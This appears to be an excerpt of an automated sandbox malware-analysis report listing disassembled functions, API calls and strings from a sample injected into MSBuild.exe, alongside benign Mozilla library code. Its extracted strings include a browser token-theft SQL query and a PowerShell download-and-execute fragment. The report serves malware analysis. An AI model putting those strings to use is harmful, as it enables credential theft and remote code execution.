Instruction Fuzzy Hash: A951E371D092D48BDB00DFA8C8407EEB7B0EF59318F44842DE89577740EB30A95AC7A2

Function 0040F915 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000,?,00000000,00000000,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040F934
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000), ref: 0040F95E
ReadProcessMemory.KERNEL32(?,00000000,?,00064000,00000000,?,?,?,?,?,?,?,?), ref: 0040F9AB
ReadProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0040FA04
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 0040FA5C
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0040FBE3,?,00000000,00000000,?,?), ref: 0040FA6D

Strings

@, xrefs: 0040F977

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MemoryProcessQueryReadVirtual
String ID: @
API String ID: 3835927879-2766056989
Opcode ID: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction ID: 782d1e78530d26aac93c20cf39dad9713f636d1ba6f6d7f846141922d26d4ee5
Opcode Fuzzy Hash: a9495d4f72b3d1438dfa2c68789035a7ae4ab924da08034bdec0029a689f928b
Instruction Fuzzy Hash: B8419D32A00209BBDF209FA5DC49FDF7B76EF44760F14803AFA04A6690D7788A55DB94

Function 6CC1A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC1A565

Part of subcall function 6CC1A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC1A4BE
Part of subcall function 6CC1A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC1A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC1A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC1A6B6

Strings

0, xrefs: 6CC1A5FB
z, xrefs: 6CC1A6AE

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c58eebe6d7098576953003cc41c2b5e072c84c054375e7c590b7bbe2638d412e
Instruction ID: eaf4064ae374580a210d318b53182c8fb227f9a770264679d48b18e61d8f37e9
Opcode Fuzzy Hash: c58eebe6d7098576953003cc41c2b5e072c84c054375e7c590b7bbe2638d412e
Instruction Fuzzy Hash: 3941237190C7459FC341DF29C480A8EBBE4BFC9354F409A2EE49987A50EB30E649DB82

Function 00413259 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413278
StrCmpCA.SHLWAPI(00000000,004367D8), ref: 004132B1
strtok_s.MSVCRT ref: 00413371

Strings

xA, xrefs: 0041326B, 0041326E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: xA
API String ID: 3330995566-34346596
Opcode ID: b01048b4caaf2d781f6d9571aa0d0e9d3a4acf772d059dc07aa8dac5df416a25
Instruction ID: 735330a1d008a833b374886be4d947a81621c86a210c44f2da093846d2bcbd8c
Opcode Fuzzy Hash: b01048b4caaf2d781f6d9571aa0d0e9d3a4acf772d059dc07aa8dac5df416a25
Instruction Fuzzy Hash: 64319671E001099FCB14DF68CC85BAA77A8BB08717F51505BEC05DA191EB7CCB818B4C

Function 6CBE9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CBDAB89: EnterCriticalSection.KERNEL32(6CC2E370,?,?,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284), ref: 6CBDAB94
Part of subcall function 6CBDAB89: LeaveCriticalSection.KERNEL32(6CC2E370,?,6CBA34DE,6CC2F6CC,?,?,?,?,?,?,?,6CBA3284,?,?,6CBC56F6), ref: 6CBDABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBB4A68), ref: 6CBE945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBE9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBE9482
__Init_thread_footer.LIBCMT ref: 6CBE949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBE9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBE947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBE946B

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: b151204eb94d705f7456c4e69b1fe0823626fad97a801d50defc6c71dd2f44d5
Instruction ID: 8316d5748c21a6fe0727795dcdbfaa4c38e74dc6fa7a792cc221c9debe3bdc9e
Opcode Fuzzy Hash: b151204eb94d705f7456c4e69b1fe0823626fad97a801d50defc6c71dd2f44d5
Instruction Fuzzy Hash: 01014730E001058BE7109B6CD800A8933B4EB4AB69F040537EC0A87F41F77EE899895B

Function 00409A0E Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 223stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409BB2

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,AccountId), ref: 00409BCF
lstrlenA.KERNEL32(?), ref: 00409C7E
lstrlenA.KERNEL32(?), ref: 00409C99

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

GoogleAccounts, xrefs: 00409A8E
AccountId, xrefs: 00409BC9
SELECT service, encrypted_token FROM token_service, xrefs: 00409B1F
GoogleAccounts, xrefs: 00409A37

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$lstrcat$AllocLocal
String ID: AccountId$GoogleAccounts$GoogleAccounts$SELECT service, encrypted_token FROM token_service
API String ID: 3306365304-1713091031
Opcode ID: 373c145094afc569421a9b382b35d30a878fe0248d8babc33f1a199af81daf01
Instruction ID: 1c65cc4d7803f8688ba0d0b6af71766e4abc47820e1b4d1122a48dc67a9a7b7f
Opcode Fuzzy Hash: 373c145094afc569421a9b382b35d30a878fe0248d8babc33f1a199af81daf01
Instruction Fuzzy Hash: 5C815171E40109ABCF01FFA5DE469DD77B5AF04309F511026F900B71E2DBB8AE898B98

Function 6CBAB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CBAB61E,?,?,?,?,?,00000000), ref: 6CBAB6AC

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBAB61E,?,?,?,?,?,00000000), ref: 6CBAB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CBAB61E,?,?,?,?,?,00000000), ref: 6CBAB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBAB61E,?,?,?,?,?,00000000), ref: 6CBAB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CBAB61E,?,?,?,?,?,00000000), ref: 6CBAB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CBAB61E), ref: 6CBAB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CBAB61E,?,?,?,?,?,00000000), ref: 6CBAB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CBAB61E,?,?,?,?,?,00000000), ref: 6CBAB79A

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 296dcb6ecb5ec492dea1ec2b20821e595e3956e5829ee8aa2b3ba898db271e15
Instruction ID: 8ad5d7a4d27539c370227e3eb4bd0ce7adc92dceb607ce7560b1f5f22079b8d8
Opcode Fuzzy Hash: 296dcb6ecb5ec492dea1ec2b20821e595e3956e5829ee8aa2b3ba898db271e15
Instruction Fuzzy Hash: 1241E3B2D041598FCB00DFA8DC80AAEB7B5FB54320F250629E875E7790E771A9058BE1

Function 6CC1B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CC1B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CC1B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CC1B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CC1B5F4
__Init_thread_footer.LIBCMT ref: 6CC1B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CC1B61F
std::_Facet_Register.LIBCPMT ref: 6CC1B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1B655

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3307c9229e623f2d2b8f280dd105bf4da3f87414af052de1e9b34880351906e2
Instruction ID: 884f848e6e8cab90286ad03e1374ae1888d1931ce984febed768b549efb6c5ce
Opcode Fuzzy Hash: 3307c9229e623f2d2b8f280dd105bf4da3f87414af052de1e9b34880351906e2
Instruction Fuzzy Hash: 8431B6B1B00214CFCF10DF6AC8689AEB7B5FF8A325F150599D90697740EB78A846CF91

Function 00412D70 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412EC0

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412E5B
C:\ProgramData\, xrefs: 00412DA3
')", xrefs: 00412E13
.ps1, xrefs: 00412DF3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412E18

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$.ps1$C:\ProgramData\$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 2215929589-1989157005
Opcode ID: c57515e4a1ab955884891a4ac7a93c799c466449e7e1b6e476093f93548025be
Instruction ID: d4bc49303887be4e6334ac6b4843b1e71d055e880c24203978c9a7e3e1ca0007
Opcode Fuzzy Hash: c57515e4a1ab955884891a4ac7a93c799c466449e7e1b6e476093f93548025be
Instruction Fuzzy Hash: 4641FB71E00119ABCF11FBA6DD469CDB7B4AF04308F61406BF514B7191DBB86E8A8B98

Function 6CBF1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBF1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CBF1BE3,?,?,6CBF1D96,00000000), ref: 6CBF1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CBF1BE3,?,?,6CBF1D96,00000000), ref: 6CBF1D4C
GetCurrentThreadId.KERNEL32 ref: 6CBF1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CBF1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBF1DDA

Part of subcall function 6CBF1EF0: GetCurrentThreadId.KERNEL32 ref: 6CBF1F03
Part of subcall function 6CBF1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CBF1DF2,00000000,00000000), ref: 6CBF1F0C
Part of subcall function 6CBF1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CBF1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CBF1DF4

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: eeee3e270a984fe741f94cfb382dcab0a7c68234bccf1ef4bdf6867ffde9f4b0
Instruction ID: fb7cdb1d95ad9fbcba67718f3fda41a1352c4feb3f05b6f0560776a888aa530e
Opcode Fuzzy Hash: eeee3e270a984fe741f94cfb382dcab0a7c68234bccf1ef4bdf6867ffde9f4b0
Instruction Fuzzy Hash: 70418AB52007049FCB10DF28C488A5ABBF9FF49324F14442DE95A87B41CB75F859CBA1

Function 6CBE84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE85AC

Part of subcall function 6CBE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CBE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE767F
Part of subcall function 6CBE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CBE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE7693
Part of subcall function 6CBE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CBE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBE85B2

Part of subcall function 6CBC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBC5EDB
Part of subcall function 6CBC5E90: memset.VCRUNTIME140(6CC07765,000000E5,55CCCCCC), ref: 6CBC5F27
Part of subcall function 6CBC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBC5FB2

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 0bc76437ac2888ba433720510cea6c45f283dc2ac2788a939f4b16c8410e4a8a
Instruction ID: d97d3681a73df1166de0edf42542b850a9277046a72bafdbc9eb3b004a8b18cf
Opcode Fuzzy Hash: 0bc76437ac2888ba433720510cea6c45f283dc2ac2788a939f4b16c8410e4a8a
Instruction Fuzzy Hash: 9321A174200A418FEB14DB28D888A5AB7F5EF4874CF14082DE55BC3B41DB36F949CB96

Function 6CBEF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBDCBE8: GetCurrentProcess.KERNEL32(?,6CBA31A7), ref: 6CBDCBF1
Part of subcall function 6CBDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBA31A7), ref: 6CBDCBFA

Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBB4A68), ref: 6CBE945E
Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBE9470
Part of subcall function 6CBE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBE9482
Part of subcall function 6CBE9420: __Init_thread_footer.LIBCMT ref: 6CBE949F

GetCurrentThreadId.KERNEL32 ref: 6CBEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CBEF598), ref: 6CBEF621

Part of subcall function 6CBE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CBE94EE
Part of subcall function 6CBE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CBE9508

GetCurrentThreadId.KERNEL32 ref: 6CBEF637
AcquireSRWLockExclusive.KERNEL32(6CC2F4B8,?,?,00000000,?,6CBEF598), ref: 6CBEF645
ReleaseSRWLockExclusive.KERNEL32(6CC2F4B8,?,?,00000000,?,6CBEF598), ref: 6CBEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CBEF62A

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 0a713b12abe33faad95e08b0a94a535668651f33c3f6386a68566906ce4e6c1c
Instruction ID: e7b3d11773afb36434b195849502d0555522575e8ac417863a36233763f3434d
Opcode Fuzzy Hash: 0a713b12abe33faad95e08b0a94a535668651f33c3f6386a68566906ce4e6c1c
